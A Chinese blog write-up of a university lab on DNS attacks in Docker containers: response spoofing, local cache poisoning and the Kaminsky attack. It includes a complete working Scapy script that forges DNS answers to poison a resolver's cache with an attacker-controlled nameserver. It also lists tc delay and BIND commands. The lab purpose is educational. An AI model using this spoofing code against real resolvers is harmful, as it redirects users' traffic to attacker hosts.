华中科技大学网络空间安全学院2024年DNS攻击实验

实验参考

上面文章链接已经对实验过程较为详细的演示,本文主要对实验环境和步骤细节进行补充。预祝大家实验成功,顺利AC。

目录

常用命令

实验一:DNS本地用户响应欺骗

实验环境介绍

攻击过程

实验二: DNS本地缓存中毒攻击

实验环境介绍

攻击过程

实验三:DNS远程缓存中毒--Kaminsky攻击

实验环境介绍

攻击过程


常用命令

# 域名查询命令
dig www.example.com @10.10.27.2

# dns服务重启
service bind9 restart 

# dns服务重启失败或rndc失败可以查看相关报错
named -d 3 -f -g

# 清除dns缓存
rndc flush

#  转储dns缓存
rndc dumpdb -cache

# 控制发包时延--概率控制
sudo tc qdisc add dev br-29c63b220f5a root netem delay 1000ms 100ms 25%

# 控制发包时延--固定控制
sudo tc qdisc add dev br-29c63b220f5a root netem delay 1000ms 

# 改变发包时延设置
sudo tc qdisc change dev br-29c63b220f5a root netem delay 1000ms 

# 删除发包时延设置
sudo tc qdisc del dev br-29c63b220f5a root netem delay 1000ms 

实验一:DNS本地用户响应欺骗

实验环境介绍

实验环境中有两个docker容器,分别是user,IP 10.10.27.3,dns,IP 10.10.27.2,其中user作为用户进行dns查询,dns作为本地的dns服务器,vm,IP 10.10.27.1,作为攻击者进行用户欺骗响应。其中user默认dns服务器指向dns,dns默认开启bind9服务,两个docker默认开启。

攻击过程

1.设置相应网络接口的收发包时延。

首先本实验是概率成功攻击,所以需要设置相应网络接口的收发包时延,这里设置为随机产生时延。如下图所示.

2.在vm上使用netwox工具发起攻击。

netwox 105号工具可以用来进行响应欺骗的攻击,在vm上发起攻击,需要满足实验题目的要求。如下图所示。 

3.在user上dig查询www.hust-cse.com的地址。

查询后概率成功,成功会得到满足攻击要求的结果,如下图所示。

4.保持攻击程序持续运行,点击提交即可。 

实验二: DNS本地缓存中毒攻击

实验环境介绍

实验环境中有两个docker,其中user IP 10.10.27.3,dns IP 10.10.27.2,vm IP 10.10.27.1,其中user作为用户进行查询,dns作为user的dns服务器提供dns服务。vm作为攻击者进行缓存中毒。系统默认启动两个docker,user默认dns服务器为dns,dns默认启动bind9服务。

攻击过程

1.设置相应网络接口收发包时延。

首先本实验是概率成功攻击,所以需要设置相应网络接口的收发包时延,这里设置为随机产生时延。如下图所示.

 2.在vm上发起攻击。

这里采用脚本攻击,在实际的验证过程中netwox攻击失败,所以采用脚本攻击。

3. 使用user查询www.example.net.

查询成功后,会得到如下的结果,必须满足红框结果才可实现测评。如果攻击失败,必须在dns上使用如下指令清除dns缓存后,才可以再次发起攻击。

rndc flush

参考攻击脚本

from scapy.all import *

def spoof_dns(pkt):
    # pkt.show()
    print(pkt[DNS].qd.qname)
    if(DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

                        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='20.0.6.14')

                                # The Authority Section
        NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')
        #NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='attacker32.com')

                                            # The Additional Section
        Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='20.0.8.27')
        #Addsec2 = DNSRR(rrname='attacker32.cn', type='A', ttl=259200, rdata='5.6.7.8')

                                                        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=1, an=Anssec, ns=NSsec1, ar=Addsec1)

                                                                # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)

                                                                        # Sniff UDP query packets and invoke spoof_dns
pkt = sniff(filter='udp and dst port 53 and src host 10.10.27.2', prn=spoof_dns,iface="br-8f1148536672")

 4. 攻击成功之后,关闭自己的攻击程序,提交测评即可。

实验三:DNS远程缓存中毒--Kaminsky攻击

实验环境介绍

实验环境中有3个docker容器,分别是user,IP 10.10.27.3,dns,IP 10.10.27.2,attack,IP 10.10.27.4,其中user作为用户进行dns查询,dns作为本地的dns服务器,attack作为攻击者进行远程缓存中毒攻击并且配置攻击者的dns服务。实际攻击过程中需要合适调整发包时延大小。以及在查询www.example.com的过程中由于网络原因,查询结果无法一次性满足实验要求,有可能需要调整查询方式(后续介绍)。

攻击过程

1. 配置本地dns服务器解析ns.hust-cse.net至attack

编辑dns /etc/bind/named.conf.default-zones文件,添加如下域,并对相应域配置文件(/etc/bind/hust-cse.net.db)进行编辑

重启bind9后,出现如下结果说明配置成功 

2. 配置attack dns服务解析example.com 域 

 和编辑dns中的文件一样,在attack上对/etc/bind/named.conf.default-zones文件和/etc/bind/example.com.db进行编辑,如下所示

 

重启bind9后,出现如下结果说明成功。

3. 在user上查询www.example.com直至dns上有其ns授权域与ns授权域的ip为止。可以多查询几次,也可以在dig www.example.com后直接查询ns授权域 指向域名的ip,如dig a.iana-servers.net.

可能用到的命令

# 基础查询
dig www.example.com

# 查询NS信息,在尝试多次基础查询后任然只得到一条A记录和一些根域名服务器信息时使用
dig www.example.com NS

# 查询NS授权域的具体IP,在长时间得不到时使用
dig a.iana-servers.net

无论如何查询,查询结果必须包含下图红框内容才可以进行进一步实验

4. 设置发包时延并且发起攻击 ,代码和编译,运行参考实验参考。实测当前实验环境下攻击成功率并不高,需要大量尝试。

时延命令:

sudo tc qdisc add dev br-29c63b220f5a root netem delay 1000ms 

5. 最终的攻击效果达到如下图红框中,攻击成功后关闭攻击程序。必须满足红框中要求才可以通过测评。

 6.至此可以点击提交进行测评。

  • 24
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值